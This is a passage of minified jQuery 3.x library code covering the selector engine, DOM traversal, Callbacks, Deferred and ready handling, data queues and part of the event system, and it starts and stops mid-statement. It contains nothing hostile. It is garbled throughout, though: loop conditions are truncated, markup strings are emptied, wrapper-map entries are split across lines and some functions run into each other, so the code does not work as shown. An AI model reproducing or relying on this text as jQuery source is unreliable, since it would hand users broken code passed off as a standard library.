G.apply(d,b.getElementsByTagName(a)),d;if((f=l[3])&&c.getElementsByClassName&&b.getElementsByClassName)return G.apply(d,b.getElementsByClassName(f)),d}if(c.qsa&&!A[a+" "]&&(!q||!q.test(a))){if(1!==w)s=b,r=a;else if("object"!==b.nodeName.toLowerCase()){(k=b.getAttribute("id"))?k=k.replace(ba,ca):b.setAttribute("id",k=u),o=g(a),h=o.length;while(h--)o[h]="#"+k+" "+sa(o[h]);r=o.join(","),s=$.test(a)&&qa(b.parentNode)||b}if(r)try{return G.apply(d,s.querySelectorAll(r)),d}catch(x){}finally{k===u&&b.removeAttribute("id")}}}return i(a.replace(P,"$1"),b,d,e)}function ha(){var a=[];function b(c,e){return a.push(c+" ")>d.cacheLength&&delete b[a.shift()],b[c+" "]=e}return b}function ia(a){return a[u]=!0,a}function ja(a){var b=n.createElement("fieldset");try{return!!a(b)}catch(c){return!1}finally{b.parentNode&&b.parentNode.removeChild(b),b=null}}function ka(a,b){var c=a.split("|"),e=c.length;while(e--)d.attrHandle[c[e]]=b}function la(a,b){var c=b&&a,d=c&&1===a.nodeType&&1===b.nodeType&&a.sourceIndex-b.sourceIndex;if(d)return d;if(c)while(c=c.nextSibling)if(c===b)return-1;return a?1:-1}function ma(a){return function(b){var c=b.nodeName.toLowerCase();return"input"===c&&b.type===a}}function na(a){return function(b){var c=b.nodeName.toLowerCase();return("input"===c||"button"===c)&&b.type===a}}function oa(a){return function(b){return"form"in b?b.parentNode&&b.disabled===!1?"label"in b?"label"in b.parentNode?b.parentNode.disabled===a:b.disabled===a:b.isDisabled===a||b.isDisabled!==!a&&ea(b)===a:b.disabled===a:"label"in b&&b.disabled===a}}function pa(a){return ia(function(b){return b=+b,ia(function(c,d){var e,f=a([],c.length,b),g=f.length;while(g--)c[e=f[g]]&&(c[e]=!(d[e]=c[e]))})})}function qa(a){return a&&"undefined"!=typeof a.getElementsByTagName&&a}c=ga.support={},f=ga.isXML=function(a){var b=a&&(a.ownerDocument||a).documentElement;return!!b&&"HTML"!==b.nodeName},m=ga.setDocument=function(a){var b,e,g=a?a.ownerDocument||a:v;return g!==n&&9===g.nodeType&&g.documentElement?(n=g,o=n.documentElement,p=!f(n),v!==n&&(e=n.defaultView)&&e.top!==e&&(e.addEventListener?e.addEventListener("unload",da,!1):e.attachEvent&&e.attachEvent("onunload",da)),c.attributes=ja(function(a){return a.className="i",!a.getAttribute("className")}),c.getElementsByTagName=ja(function(a){return a.appendChild(n.createComment("")),!a.getElementsByTagName("*").length}),c.getElementsByClassName=Y.test(n.getElementsByClassName),c.getById=ja(function(a){return o.appendChild(a).id=u,!n.getElementsByName||!n.getElementsByName(u).length}),c.getById?(d.filter.ID=function(a){var b=a.replace(_,aa);return function(a){return a.getAttribute("id")===b}},d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c=b.getElementById(a);return c?[c]:[]}}):(d.filter.ID=function(a){var b=a.replace(_,aa);return function(a){var c="undefined"!=typeof a.getAttributeNode&&a.getAttributeNode("id");return c&&c.value===b}},d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c,d,e,f=b.getElementById(a);if(f){if(c=f.getAttributeNode("id"),c&&c.value===a)return[f];e=b.getElementsByName(a),d=0;while(f=e[d++])if(c=f.getAttributeNode("id"),c&&c.value===a)return[f]}return[]}}),d.find.TAG=c.getElementsByTagName?function(a,b){return"undefined"!=typeof b.getElementsByTagName?b.getElementsByTagName(a):c.qsa?b.querySelectorAll(a):void 0}:function(a,b){var c,d=[],e=0,f=b.getElementsByTagName(a);if("*"===a){while(c=f[e++])1===c.nodeType&&d.push(c);return d}return f},d.find.CLASS=c.getElementsByClassName&&function(a,b){if("undefined"!=typeof b.getElementsByClassName&&p)return b.getElementsByClassName(a)},r=[],q=[],(c.qsa=Y.test(n.querySelectorAll))&&(ja(function(a){o.appendChild(a).innerHTML="",a.querySelectorAll("[msallowcapture^='']").length&&q.push("[*^$]="+K+"*(?:''|\"\")"),a.querySelectorAll("[selected]").length||q.push("\\["+K+"*(?:value|"+J+")"),a.querySelectorAll("[id~="+u+"-]").length||q.push("~="),a.querySelectorAll(":checked").length||q.push(":checked"),a.querySelectorAll("a#"+u+"+*").length||q.push(".#.+[+~]")}),ja(function(a){a.innerHTML="";var b=n.createElement("input");b.setAttribute("type","hidden"),a.appendChild(b).setAttribute("name","D"),a.querySelectorAll("[name=d]").length&&q.push("name"+K+"*[*^$|!~]?="),2!==a.querySelectorAll(":enabled").length&&q.push(":enabled",":disabled"),o.appendChild(a).disabled=!0,2!==a.querySelectorAll(":disabled").length&&q.push(":enabled",":disabled"),a.querySelectorAll("*,:x"),q.push(",.*:")})),(c.matchesSelector=Y.test(s=o.matches||o.webkitMatchesSelector||o.mozMatchesSelector||o.oMatchesSelector||o.msMatchesSelector))&&ja(function(a){c.disconnectedMatch=s.call(a,"*"),s.call(a,"[s!='']:x"),r.push("!=",N)}),q=q.length&&new RegExp(q.join("|")),r=r.length&&new RegExp(r.join("|")),b=Y.test(o.compareDocumentPosition),t=b||Y.test(o.contains)?function(a,b){var c=9===a.nodeType?a.documentElement:a,d=b&&b.parentNode;return a===d||!(!d||1!==d.nodeType||!(c.contains?c.contains(d):a.compareDocumentPosition&&16&a.compareDocumentPosition(d)))}:function(a,b){if(b)while(b=b.parentNode)if(b===a)return!0;return!1},B=b?function(a,b){if(a===b)return l=!0,0;var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument||a)===(b.ownerDocument||b)?a.compareDocumentPosition(b):1,1&d||!c.sortDetached&&b.compareDocumentPosition(a)===d?a===n||a.ownerDocument===v&&t(v,a)?-1:b===n||b.ownerDocument===v&&t(v,b)?1:k?I(k,a)-I(k,b):0:4&d?-1:1)}:function(a,b){if(a===b)return l=!0,0;var c,d=0,e=a.parentNode,f=b.parentNode,g=[a],h=[b];if(!e||!f)return a===n?-1:b===n?1:e?-1:f?1:k?I(k,a)-I(k,b):0;if(e===f)return la(a,b);c=a;while(c=c.parentNode)g.unshift(c);c=b;while(c=c.parentNode)h.unshift(c);while(g[d]===h[d])d++;return d?la(g[d],h[d]):g[d]===v?-1:h[d]===v?1:0},n):n},ga.matches=function(a,b){return ga(a,null,null,b)},ga.matchesSelector=function(a,b){if((a.ownerDocument||a)!==n&&m(a),b=b.replace(S,"='$1']"),c.matchesSelector&&p&&!A[b+" "]&&(!r||!r.test(b))&&(!q||!q.test(b)))try{var d=s.call(a,b);if(d||c.disconnectedMatch||a.document&&11!==a.document.nodeType)return d}catch(e){}return ga(b,n,null,[a]).length>0},ga.contains=function(a,b){return(a.ownerDocument||a)!==n&&m(a),t(a,b)},ga.attr=function(a,b){(a.ownerDocument||a)!==n&&m(a);var e=d.attrHandle[b.toLowerCase()],f=e&&C.call(d.attrHandle,b.toLowerCase())?e(a,b,!p):void 0;return void 0!==f?f:c.attributes||!p?a.getAttribute(b):(f=a.getAttributeNode(b))&&f.specified?f.value:null},ga.escape=function(a){return(a+"").replace(ba,ca)},ga.error=function(a){throw new Error("Syntax error, unrecognized expression: "+a)},ga.uniqueSort=function(a){var b,d=[],e=0,f=0;if(l=!c.detectDuplicates,k=!c.sortStable&&a.slice(0),a.sort(B),l){while(b=a[f++])b===a[f]&&(e=d.push(f));while(e--)a.splice(d[e],1)}return k=null,a},e=ga.getText=function(a){var b,c="",d=0,f=a.nodeType;if(f){if(1===f||9===f||11===f){if("string"==typeof a.textContent)return a.textContent;for(a=a.firstChild;a;a=a.nextSibling)c+=e(a)}else if(3===f||4===f)return a.nodeValue}else while(b=a[d++])c+=e(b);return c},d=ga.selectors={cacheLength:50,createPseudo:ia,match:V,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(a){return a[1]=a[1].replace(_,aa),a[3]=(a[3]||a[4]||a[5]||"").replace(_,aa),"~="===a[2]&&(a[3]=" "+a[3]+" "),a.slice(0,4)},CHILD:function(a){return a[1]=a[1].toLowerCase(),"nth"===a[1].slice(0,3)?(a[3]||ga.error(a[0]),a[4]=+(a[4]?a[5]+(a[6]||1):2*("even"===a[3]||"odd"===a[3])),a[5]=+(a[7]+a[8]||"odd"===a[3])):a[3]&&ga.error(a[0]),a},PSEUDO:function(a){var b,c=!a[6]&&a[2];return V.CHILD.test(a[0])?null:(a[3]?a[2]=a[4]||a[5]||"":c&&T.test(c)&&(b=g(c,!0))&&(b=c.indexOf(")",c.length-b)-c.length)&&(a[0]=a[0].slice(0,b),a[2]=c.slice(0,b)),a.slice(0,3))}},filter:{TAG:function(a){var b=a.replace(_,aa).toLowerCase();return"*"===a?function(){return!0}:function(a){return a.nodeName&&a.nodeName.toLowerCase()===b}},CLASS:function(a){var b=y[a+" "];return b||(b=new RegExp("(^|"+K+")"+a+"("+K+"|$)"))&&y(a,function(a){return b.test("string"==typeof a.className&&a.className||"undefined"!=typeof a.getAttribute&&a.getAttribute("class")||"")})},ATTR:function(a,b,c){return function(d){var e=ga.attr(d,a);return null==e?"!="===b:!b||(e+="","="===b?e===c:"!="===b?e!==c:"^="===b?c&&0===e.indexOf(c):"*="===b?c&&e.indexOf(c)>-1:"$="===b?c&&e.slice(-c.length)===c:"~="===b?(" "+e.replace(O," ")+" ").indexOf(c)>-1:"|="===b&&(e===c||e.slice(0,c.length+1)===c+"-"))}},CHILD:function(a,b,c,d,e){var f="nth"!==a.slice(0,3),g="last"!==a.slice(-4),h="of-type"===b;return 1===d&&0===e?function(a){return!!a.parentNode}:function(b,c,i){var j,k,l,m,n,o,p=f!==g?"nextSibling":"previousSibling",q=b.parentNode,r=h&&b.nodeName.toLowerCase(),s=!i&&!h,t=!1;if(q){if(f){while(p){m=b;while(m=m[p])if(h?m.nodeName.toLowerCase()===r:1===m.nodeType)return!1;o=p="only"===a&&!o&&"nextSibling"}return!0}if(o=[g?q.firstChild:q.lastChild],g&&s){m=q,l=m[u]||(m[u]={}),k=l[m.uniqueID]||(l[m.uniqueID]={}),j=k[a]||[],n=j[0]===w&&j[1],t=n&&j[2],m=n&&q.childNodes[n];while(m=++n&&m&&m[p]||(t=n=0)||o.pop())if(1===m.nodeType&&++t&&m===b){k[a]=[w,n,t];break}}else if(s&&(m=b,l=m[u]||(m[u]={}),k=l[m.uniqueID]||(l[m.uniqueID]={}),j=k[a]||[],n=j[0]===w&&j[1],t=n),t===!1)while(m=++n&&m&&m[p]||(t=n=0)||o.pop())if((h?m.nodeName.toLowerCase()===r:1===m.nodeType)&&++t&&(s&&(l=m[u]||(m[u]={}),k=l[m.uniqueID]||(l[m.uniqueID]={}),k[a]=[w,t]),m===b))break;return t-=e,t===d||t%d===0&&t/d>=0}}},PSEUDO:function(a,b){var c,e=d.pseudos[a]||d.setFilters[a.toLowerCase()]||ga.error("unsupported pseudo: "+a);return e[u]?e(b):e.length>1?(c=[a,a,"",b],d.setFilters.hasOwnProperty(a.toLowerCase())?ia(function(a,c){var d,f=e(a,b),g=f.length;while(g--)d=I(a,f[g]),a[d]=!(c[d]=f[g])}):function(a){return e(a,0,c)}):e}},pseudos:{not:ia(function(a){var b=[],c=[],d=h(a.replace(P,"$1"));return d[u]?ia(function(a,b,c,e){var f,g=d(a,null,e,[]),h=a.length;while(h--)(f=g[h])&&(a[h]=!(b[h]=f))}):function(a,e,f){return b[0]=a,d(b,null,f,c),b[0]=null,!c.pop()}}),has:ia(function(a){return function(b){return ga(a,b).length>0}}),contains:ia(function(a){return a=a.replace(_,aa),function(b){return(b.textContent||b.innerText||e(b)).indexOf(a)>-1}}),lang:ia(function(a){return U.test(a||"")||ga.error("unsupported lang: "+a),a=a.replace(_,aa).toLowerCase(),function(b){var c;do if(c=p?b.lang:b.getAttribute("xml:lang")||b.getAttribute("lang"))return c=c.toLowerCase(),c===a||0===c.indexOf(a+"-");while((b=b.parentNode)&&1===b.nodeType);return!1}}),target:function(b){var c=a.location&&a.location.hash;return c&&c.slice(1)===b.id},root:function(a){return a===o},focus:function(a){return a===n.activeElement&&(!n.hasFocus||n.hasFocus())&&!!(a.type||a.href||~a.tabIndex)},enabled:oa(!1),disabled:oa(!0),checked:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&!!a.checked||"option"===b&&!!a.selected},selected:function(a){return a.parentNode&&a.parentNode.selectedIndex,a.selected===!0},empty:function(a){for(a=a.firstChild;a;a=a.nextSibling)if(a.nodeType<6)return!1;return!0},parent:function(a){return!d.pseudos.empty(a)},header:function(a){return X.test(a.nodeName)},input:function(a){return W.test(a.nodeName)},button:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&"button"===a.type||"button"===b},text:function(a){var b;return"input"===a.nodeName.toLowerCase()&&"text"===a.type&&(null==(b=a.getAttribute("type"))||"text"===b.toLowerCase())},first:pa(function(){return[0]}),last:pa(function(a,b){return[b-1]}),eq:pa(function(a,b,c){return[c<0?c+b:c]}),even:pa(function(a,b){for(var c=0;c=0;)a.push(d);return a}),gt:pa(function(a,b,c){for(var d=c<0?c+b:c;++d1?function(b,c,d){var e=a.length;while(e--)if(!a[e](b,c,d))return!1;return!0}:a[0]}function va(a,b,c){for(var d=0,e=b.length;d-1&&(f[j]=!(g[j]=l))}}else r=wa(r===g?r.splice(o,r.length):r),e?e(null,g,r,i):G.apply(g,r)})}function ya(a){for(var b,c,e,f=a.length,g=d.relative[a[0].type],h=g||d.relative[" "],i=g?1:0,k=ta(function(a){return a===b},h,!0),l=ta(function(a){return I(b,a)>-1},h,!0),m=[function(a,c,d){var e=!g&&(d||c!==j)||((b=c).nodeType?k(a,c,d):l(a,c,d));return b=null,e}];i1&&ua(m),i>1&&sa(a.slice(0,i-1).concat({value:" "===a[i-2].type?"*":""})).replace(P,"$1"),c,i0,e=a.length>0,f=function(f,g,h,i,k){var l,o,q,r=0,s="0",t=f&&[],u=[],v=j,x=f||e&&d.find.TAG("*",k),y=w+=null==v?1:Math.random()||.1,z=x.length;for(k&&(j=g===n||g||k);s!==z&&null!=(l=x[s]);s++){if(e&&l){o=0,g||l.ownerDocument===n||(m(l),h=!p);while(q=a[o++])if(q(l,g||n,h)){i.push(l);break}k&&(w=y)}c&&((l=!q&&l)&&r--,f&&t.push(l))}if(r+=s,c&&s!==r){o=0;while(q=b[o++])q(t,u,g,h);if(f){if(r>0)while(s--)t[s]||u[s]||(u[s]=E.call(i));u=wa(u)}G.apply(i,u),k&&!f&&u.length>0&&r+b.length>1&&ga.uniqueSort(i)}return k&&(w=y,j=v),t};return c?ia(f):f}return h=ga.compile=function(a,b){var c,d=[],e=[],f=A[a+" "];if(!f){b||(b=g(a)),c=b.length;while(c--)f=ya(b[c]),f[u]?d.push(f):e.push(f);f=A(a,za(e,d)),f.selector=a}return f},i=ga.select=function(a,b,c,e){var f,i,j,k,l,m="function"==typeof a&&a,n=!e&&g(a=m.selector||a);if(c=c||[],1===n.length){if(i=n[0]=n[0].slice(0),i.length>2&&"ID"===(j=i[0]).type&&9===b.nodeType&&p&&d.relative[i[1].type]){if(b=(d.find.ID(j.matches[0].replace(_,aa),b)||[])[0],!b)return c;m&&(b=b.parentNode),a=a.slice(i.shift().value.length)}f=V.needsContext.test(a)?0:i.length;while(f--){if(j=i[f],d.relative[k=j.type])break;if((l=d.find[k])&&(e=l(j.matches[0].replace(_,aa),$.test(i[0].type)&&qa(b.parentNode)||b))){if(i.splice(f,1),a=e.length&&sa(i),!a)return G.apply(c,e),c;break}}}return(m||h(a,n))(e,b,!p,c,!b||$.test(a)&&qa(b.parentNode)||b),c},c.sortStable=u.split("").sort(B).join("")===u,c.detectDuplicates=!!l,m(),c.sortDetached=ja(function(a){return 1&a.compareDocumentPosition(n.createElement("fieldset"))}),ja(function(a){return a.innerHTML="","#"===a.firstChild.getAttribute("href")})||ka("type|href|height|width",function(a,b,c){if(!c)return a.getAttribute(b,"type"===b.toLowerCase()?1:2)}),c.attributes&&ja(function(a){return a.innerHTML="",a.firstChild.setAttribute("value",""),""===a.firstChild.getAttribute("value")})||ka("value",function(a,b,c){if(!c&&"input"===a.nodeName.toLowerCase())return a.defaultValue}),ja(function(a){return null==a.getAttribute("disabled")})||ka(J,function(a,b,c){var d;if(!c)return a[b]===!0?b.toLowerCase():(d=a.getAttributeNode(b))&&d.specified?d.value:null}),ga}(a);r.find=x,r.expr=x.selectors,r.expr[":"]=r.expr.pseudos,r.uniqueSort=r.unique=x.uniqueSort,r.text=x.getText,r.isXMLDoc=x.isXML,r.contains=x.contains,r.escapeSelector=x.escape;var y=function(a,b,c){var d=[],e=void 0!==c;while((a=a[b])&&9!==a.nodeType)if(1===a.nodeType){if(e&&r(a).is(c))break;d.push(a)}return d},z=function(a,b){for(var c=[];a;a=a.nextSibling)1===a.nodeType&&a!==b&&c.push(a);return c},A=r.expr.match.needsContext;function B(a,b){return a.nodeName&&a.nodeName.toLowerCase()===b.toLowerCase()}var C=/^<([a-z][^\/\0>:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i,D=/^.[^:#\[\.,]*$/;function E(a,b,c){return r.isFunction(b)?r.grep(a,function(a,d){return!!b.call(a,d,a)!==c}):b.nodeType?r.grep(a,function(a){return a===b!==c}):"string"!=typeof b?r.grep(a,function(a){return i.call(b,a)>-1!==c}):D.test(b)?r.filter(b,a,c):(b=r.filter(b,a),r.grep(a,function(a){return i.call(b,a)>-1!==c&&1===a.nodeType}))}r.filter=function(a,b,c){var d=b[0];return c&&(a=":not("+a+")"),1===b.length&&1===d.nodeType?r.find.matchesSelector(d,a)?[d]:[]:r.find.matches(a,r.grep(b,function(a){return 1===a.nodeType}))},r.fn.extend({find:function(a){var b,c,d=this.length,e=this;if("string"!=typeof a)return this.pushStack(r(a).filter(function(){for(b=0;b1?r.uniqueSort(c):c},filter:function(a){return this.pushStack(E(this,a||[],!1))},not:function(a){return this.pushStack(E(this,a||[],!0))},is:function(a){return!!E(this,"string"==typeof a&&A.test(a)?r(a):a||[],!1).length}});var F,G=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]+))$/,H=r.fn.init=function(a,b,c){var e,f;if(!a)return this;if(c=c||F,"string"==typeof a){if(e="<"===a[0]&&">"===a[a.length-1]&&a.length>=3?[null,a,null]:G.exec(a),!e||!e[1]&&b)return!b||b.jquery?(b||c).find(a):this.constructor(b).find(a);if(e[1]){if(b=b instanceof r?b[0]:b,r.merge(this,r.parseHTML(e[1],b&&b.nodeType?b.ownerDocument||b:d,!0)),C.test(e[1])&&r.isPlainObject(b))for(e in b)r.isFunction(this[e])?this[e](b[e]):this.attr(e,b[e]);return this}return f=d.getElementById(e[2]),f&&(this[0]=f,this.length=1),this}return a.nodeType?(this[0]=a,this.length=1,this):r.isFunction(a)?void 0!==c.ready?c.ready(a):a(r):r.makeArray(a,this)};H.prototype=r.fn,F=r(d);var I=/^(?:parents|prev(?:Until|All))/,J={children:!0,contents:!0,next:!0,prev:!0};r.fn.extend({has:function(a){var b=r(a,this),c=b.length;return this.filter(function(){for(var a=0;a-1:1===c.nodeType&&r.find.matchesSelector(c,a))){f.push(c);break}return this.pushStack(f.length>1?r.uniqueSort(f):f)},index:function(a){return a?"string"==typeof a?i.call(r(a),this[0]):i.call(this,a.jquery?a[0]:a):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(a,b){return this.pushStack(r.uniqueSort(r.merge(this.get(),r(a,b))))},addBack:function(a){return this.add(null==a?this.prevObject:this.prevObject.filter(a))}});function K(a,b){while((a=a[b])&&1!==a.nodeType);return a}r.each({parent:function(a){var b=a.parentNode;return b&&11!==b.nodeType?b:null},parents:function(a){return y(a,"parentNode")},parentsUntil:function(a,b,c){return y(a,"parentNode",c)},next:function(a){return K(a,"nextSibling")},prev:function(a){return K(a,"previousSibling")},nextAll:function(a){return y(a,"nextSibling")},prevAll:function(a){return y(a,"previousSibling")},nextUntil:function(a,b,c){return y(a,"nextSibling",c)},prevUntil:function(a,b,c){return y(a,"previousSibling",c)},siblings:function(a){return z((a.parentNode||{}).firstChild,a)},children:function(a){return z(a.firstChild)},contents:function(a){return B(a,"iframe")?a.contentDocument:(B(a,"template")&&(a=a.content||a),r.merge([],a.childNodes))}},function(a,b){r.fn[a]=function(c,d){var e=r.map(this,b,c);return"Until"!==a.slice(-5)&&(d=c),d&&"string"==typeof d&&(e=r.filter(d,e)),this.length>1&&(J[a]||r.uniqueSort(e),I.test(a)&&e.reverse()),this.pushStack(e)}});var L=/[^\x20\t\r\n\f]+/g;function M(a){var b={};return r.each(a.match(L)||[],function(a,c){b[c]=!0}),b}r.Callbacks=function(a){a="string"==typeof a?M(a):r.extend({},a);var b,c,d,e,f=[],g=[],h=-1,i=function(){for(e=e||a.once,d=b=!0;g.length;h=-1){c=g.shift();while(++h-1)f.splice(c,1),c<=h&&h--}),this},has:function(a){return a?r.inArray(a,f)>-1:f.length>0},empty:function(){return f&&(f=[]),this},disable:function(){return e=g=[],f=c="",this},disabled:function(){return!f},lock:function(){return e=g=[],c||b||(f=c=""),this},locked:function(){return!!e},fireWith:function(a,c){return e||(c=c||[],c=[a,c.slice?c.slice():c],g.push(c),b||i()),this},fire:function(){return j.fireWith(this,arguments),this},fired:function(){return!!d}};return j};function N(a){return a}function O(a){throw a}function P(a,b,c,d){var e;try{a&&r.isFunction(e=a.promise)?e.call(a).done(b).fail(c):a&&r.isFunction(e=a.then)?e.call(a,b,c):b.apply(void 0,[a].slice(d))}catch(a){c.apply(void 0,[a])}}r.extend({Deferred:function(b){var c=[["notify","progress",r.Callbacks("memory"),r.Callbacks("memory"),2],["resolve","done",r.Callbacks("once memory"),r.Callbacks("once memory"),0,"resolved"],["reject","fail",r.Callbacks("once memory"),r.Callbacks("once memory"),1,"rejected"]],d="pending",e={state:function(){return d},always:function(){return f.done(arguments).fail(arguments),this},"catch":function(a){return e.then(null,a)},pipe:function(){var a=arguments;return r.Deferred(function(b){r.each(c,function(c,d){var e=r.isFunction(a[d[4]])&&a[d[4]];f[d[1]](function(){var a=e&&e.apply(this,arguments);a&&r.isFunction(a.promise)?a.promise().progress(b.notify).done(b.resolve).fail(b.reject):b[d[0]+"With"](this,e?[a]:arguments)})}),a=null}).promise()},then:function(b,d,e){var f=0;function g(b,c,d,e){return function(){var h=this,i=arguments,j=function(){var a,j;if(!(b=f&&(d!==O&&(h=void 0,i=[a]),c.rejectWith(h,i))}};b?k():(r.Deferred.getStackHook&&(k.stackTrace=r.Deferred.getStackHook()),a.setTimeout(k))}}return r.Deferred(function(a){c[0][3].add(g(0,a,r.isFunction(e)?e:N,a.notifyWith)),c[1][3].add(g(0,a,r.isFunction(b)?b:N)),c[2][3].add(g(0,a,r.isFunction(d)?d:O))}).promise()},promise:function(a){return null!=a?r.extend(a,e):e}},f={};return r.each(c,function(a,b){var g=b[2],h=b[5];e[b[1]]=g.add,h&&g.add(function(){d=h},c[3-a][2].disable,c[0][2].lock),g.add(b[3].fire),f[b[0]]=function(){return f[b[0]+"With"](this===f?void 0:this,arguments),this},f[b[0]+"With"]=g.fireWith}),e.promise(f),b&&b.call(f,f),f},when:function(a){var b=arguments.length,c=b,d=Array(c),e=f.call(arguments),g=r.Deferred(),h=function(a){return function(c){d[a]=this,e[a]=arguments.length>1?f.call(arguments):c,--b||g.resolveWith(d,e)}};if(b<=1&&(P(a,g.done(h(c)).resolve,g.reject,!b),"pending"===g.state()||r.isFunction(e[c]&&e[c].then)))return g.then();while(c--)P(e[c],h(c),g.reject);return g.promise()}});var Q=/^(Eval|Internal|Range|Reference|Syntax|Type|URI)Error$/;r.Deferred.exceptionHook=function(b,c){a.console&&a.console.warn&&b&&Q.test(b.name)&&a.console.warn("jQuery.Deferred exception: "+b.message,b.stack,c)},r.readyException=function(b){a.setTimeout(function(){throw b})};var R=r.Deferred();r.fn.ready=function(a){return R.then(a)["catch"](function(a){r.readyException(a)}),this},r.extend({isReady:!1,readyWait:1,ready:function(a){(a===!0?--r.readyWait:r.isReady)||(r.isReady=!0,a!==!0&&--r.readyWait>0||R.resolveWith(d,[r]))}}),r.ready.then=R.then;function S(){d.removeEventListener("DOMContentLoaded",S), a.removeEventListener("load",S),r.ready()}"complete"===d.readyState||"loading"!==d.readyState&&!d.documentElement.doScroll?a.setTimeout(r.ready):(d.addEventListener("DOMContentLoaded",S),a.addEventListener("load",S));var T=function(a,b,c,d,e,f,g){var h=0,i=a.length,j=null==c;if("object"===r.type(c)){e=!0;for(h in c)T(a,b,h,c[h],!0,f,g)}else if(void 0!==d&&(e=!0,r.isFunction(d)||(g=!0),j&&(g?(b.call(a,d),b=null):(j=b,b=function(a,b,c){return j.call(r(a),c)})),b))for(;h1,null,!0)},removeData:function(a){return this.each(function(){X.remove(this,a)})}}),r.extend({queue:function(a,b,c){var d;if(a)return b=(b||"fx")+"queue",d=W.get(a,b),c&&(!d||Array.isArray(c)?d=W.access(a,b,r.makeArray(c)):d.push(c)),d||[]},dequeue:function(a,b){b=b||"fx";var c=r.queue(a,b),d=c.length,e=c.shift(),f=r._queueHooks(a,b),g=function(){r.dequeue(a,b)};"inprogress"===e&&(e=c.shift(),d--),e&&("fx"===b&&c.unshift("inprogress"),delete f.stop,e.call(a,g,f)),!d&&f&&f.empty.fire()},_queueHooks:function(a,b){var c=b+"queueHooks";return W.get(a,c)||W.access(a,c,{empty:r.Callbacks("once memory").add(function(){W.remove(a,[b+"queue",c])})})}}),r.fn.extend({queue:function(a,b){var c=2;return"string"!=typeof a&&(b=a,a="fx",c--),arguments.length\x20\t\r\n\f]+)/i,la=/^$|\/(?:java|ecma)script/i,ma={option:[1,""],thead:[1,"","
"],col:[2,"","
"],tr:[2,"","
"],td:[3,"","
"],_default:[0,"",""]};ma.optgroup=ma.option,ma.tbody=ma.tfoot=ma.colgroup=ma.caption=ma.thead,ma.th=ma.td;function na(a,b){var c;return c="undefined"!=typeof a.getElementsByTagName?a.getElementsByTagName(b||"*"):"undefined"!=typeof a.querySelectorAll?a.querySelectorAll(b||"*"):[],void 0===b||b&&B(a,b)?r.merge([a],c):c}function oa(a,b){for(var c=0,d=a.length;c-1)e&&e.push(f);else if(j=r.contains(f.ownerDocument,f),g=na(l.appendChild(f),"script"),j&&oa(g),c){k=0;while(f=g[k++])la.test(f.type||"")&&c.push(f)}return l}!function(){var a=d.createDocumentFragment(),b=a.appendChild(d.createElement("div")),c=d.createElement("input");c.setAttribute("type","radio"),c.setAttribute("checked","checked"),c.setAttribute("name","t"),b.appendChild(c),o.checkClone=b.cloneNode(!0).cloneNode(!0).lastChild.checked,b.innerHTML="",o.noCloneChecked=!!b.cloneNode(!0).lastChild.defaultValue}();var ra=d.documentElement,sa=/^key/,ta=/^(?:mouse|pointer|contextmenu|drag|drop)|click/,ua=/^([^.]*)(?:\.(.+)|)/;function va(){return!0}function wa(){return!1}function xa(){try{return d.activeElement}catch(a){}}function ya(a,b,c,d,e,f){var g,h;if("object"==typeof b){"string"!=typeof c&&(d=d||c,c=void 0);for(h in b)ya(a,h,c,d,b[h],f);return a}if(null==d&&null==e?(e=c,d=c=void 0):null==e&&("string"==typeof c?(e=d,d=void 0):(e=d,d=c,c=void 0)),e===!1)e=wa;else if(!e)return a;return 1===f&&(g=e,e=function(a){return r().off(a),g.apply(this,arguments)},e.guid=g.guid||(g.guid=r.guid++)),a.each(function(){r.event.add(this,b,e,d,c)})}r.event={global:{},add:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,n,o,p,q=W.get(a);if(q){c.handler&&(f=c,c=f.handler,e=f.selector),e&&r.find.matchesSelector(ra,e),c.guid||(c.guid=r.guid++),(i=q.events)||(i=q.events={}),(g=q.handle)||(g=q.handle=function(b){return"undefined"!=typeof r&&r.event.triggered!==b.type?r.event.dispatch.apply(a,arguments):void 0}),b=(b||"").match(L)||[""],j=b.length;while(j--)h=ua.exec(b[j])||[],n=p=h[1],o=(h[2]||"").split(".").sort(),n&&(l=r.event.special[n]||{},n=(e?l.delegateType:l.bindType)||n,l=r.event.special[n]||{},k=r.extend({type:n,origType:p,data:d,handler:c,guid:c.guid,selector:e,needsContext:e&&r.expr.match.needsContext.test(e),namespace:o.join(".")},f),(m=i[n])||(m=i[n]=[],m.delegateCount=0,l.setup&&l.setup.call(a,d,o,g)!==!1||a.addEventListener&&a.addEventListener(n,g)),l.add&&(l.add.call(a,k),k.handler.guid||(k.handler.guid=c.guid)),e?m.splice(m.delegateCount++,0,k):m.push(k),r.event.global[n]=!0)}},remove:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,n,o,p,q=W.hasData(a)&&W.get(a);if(q&&(i=q.events)){b=(b||"").match(L)||[""],j=b.length;while(j--)if(h=ua.exec(b[j])||[],n=p=h[1],o=(h[2]||"").split(".").sort(),n){l=r.event.special[n]||{},n=(d?l.delegateType:l.bindType)||n,m=i[n]||[],h=h[2]&&new RegExp("(^|\\.)"+o.join("\\.(?:.*\\.|)")+"(\\.|$)"),g=f=m.length;while(f--)k=m[f],!e&&p!==k.origType||c&&c.guid!==k.guid||h&&!h.test(k.namespace)||d&&d!==k.selector&&("**"!==d||!k.selector)||(m.splice(f,1),k.selector&&m.delegateCount--,l.remove&&l.remove.call(a,k));g&&!m.length&&(l.teardown&&l.teardown.call(a,o,q.handle)!==!1||r.removeEvent(a,n,q.handle),delete i[n])}else for(n in i)r.event.remove(a,n+b[j],c,d,!0);r.isEmptyObject(i)&&W.remove(a,"handle events")}},dispatch:function(a){var b=r.event.fix(a),c,d,e,f,g,h,i=new 